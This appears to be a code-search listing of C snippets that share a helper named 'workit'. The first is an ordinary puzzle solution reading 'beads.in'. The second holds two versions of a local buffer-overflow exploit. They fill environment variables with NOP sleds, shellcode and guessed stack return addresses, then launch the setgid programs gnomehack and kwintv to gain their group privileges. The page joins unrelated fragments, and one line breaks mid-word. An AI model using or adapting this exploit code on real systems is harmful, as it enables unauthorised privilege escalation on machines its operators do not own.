Exemplo n.º 1
0
int main()
{
	freopen("beads.in","r",stdin);
	freopen("beads.out","w",stdout);
	scanf("%d",&len);
	scanf("%c%s",&str[0],str);
	int i,max = 1,f[len + 1];
	for(i = 0;i < len;i++)
	{
		memset(f,0,sizeof(f));
		int lpos = left(i),rpos = i,total = 0;
		char lch = str[lpos],rch = str[rpos];
		while(1)
		{
			int mark = total;
			total += workit(left,&lpos,&lch,f);
			total += workit(right,&rpos,&rch,f);
			if(mark == total) break;
		}
		if(total > max) max = total;
	}
	printf("%d\n",max);
	fclose(stdin);
	fclose(stdout);
	return 0;
}
Exemplo n.º 2
0
main(int argc, char **argv){
  char eipeip[DBUF], buffer[4096], heh[DBUF+1];
  int i, offset, gid, allign;
  long address;

  if(argc < 2){
    workit(argv[0]);
  }
 
  if(argc > 1){
    offset = atoi(argv[1]);
  }else{
    offset = OFFSET;
  }

  if(argc > 2){
    allign = atoi(argv[2]);
  }else{
    allign = ALLIGN;
  }

  address = get_sp() - offset;

  if(allign > 0){
    for(i=0;i<allign;i++){
      eipeip[i] = 0x69; //0x69.DOOT:D
    }
  }

  for(i=allign;i<DBUF;i+=4){
    *(long *)&eipeip[i] = address;
  }

  gid = GID;
  shellcode[10] = gid;
  shellcode[22] = gid;
  shellcode[24] = gid;
 
  for(i=0;i<(4096-strlen(shellcode)-strlen(eipeip));i++){
    buffer[i] = NOP;
  }
 
  memcpy(heh, eipeip, strlen(eipeip));
  memcpy(heh, "DISPLAY=", 8);//HOME||DISPLAY
  putenv(heh);

  memcpy(buffer+i, shellcode, strlen(shellcode));
  memcpy(buffer, "HACKEX=", 7);
  putenv(buffer);
 
  fprintf(stderr, "Ret-addr %#x, offset: %d, allign: %d.\n",address, offset, allign);
  execlp("/usr/lib/games/gnomehack/gnomehack", "gnomehack", 0); //Mod path if needed.
}
main(int argc, char **argv){
 char eipeip[DBUF], buffer[4096], heh[DBUF+1];
 int i, offset, gid, allign;
 long address;

 if(argc<2){
  workit(argv[0]);
 }
 
 if(argc>1){offset=atoi(argv[1]);}else{offset=OFFSET;}
 if(argc>2){allign=atoi(argv[2]);}else{allign=ALLIGN;}

 address=get_sp()-offset;

 if(allign>0){for(i=0;i<allign;i++){eipeip[i]=0x69;}}//0x69.HEH.:D
 for(i=allign;i<DBUF;i+=4){*(long *)&eipeip[i]=address;}

 gid=GID;
 shellcode[10]=gid;
 shellcode[22]=gid;
 shellcode[24]=gid;
 
 for(i=0;i<(4096-strlen(shellcode)-strlen(eipeip));i++){
  buffer[i]=NOP;
 }
 
 memcpy(heh, eipeip, strlen(eipeip));
 memcpy(heh, "DISPLAY=", 8);
 putenv(heh);

 memcpy(buffer+i, shellcode, strlen(shellcode));
 memcpy(buffer, "KWINEX=", 7);
 putenv(buffer);
 
 fprintf(stderr, "Ret-addr %#x, offset: %d, allign: %d.\n",address,offset,allig
n);
 execlp("/opt/kde/bin/kwintv", "kwintv", 0);//Change path if needed. :D
}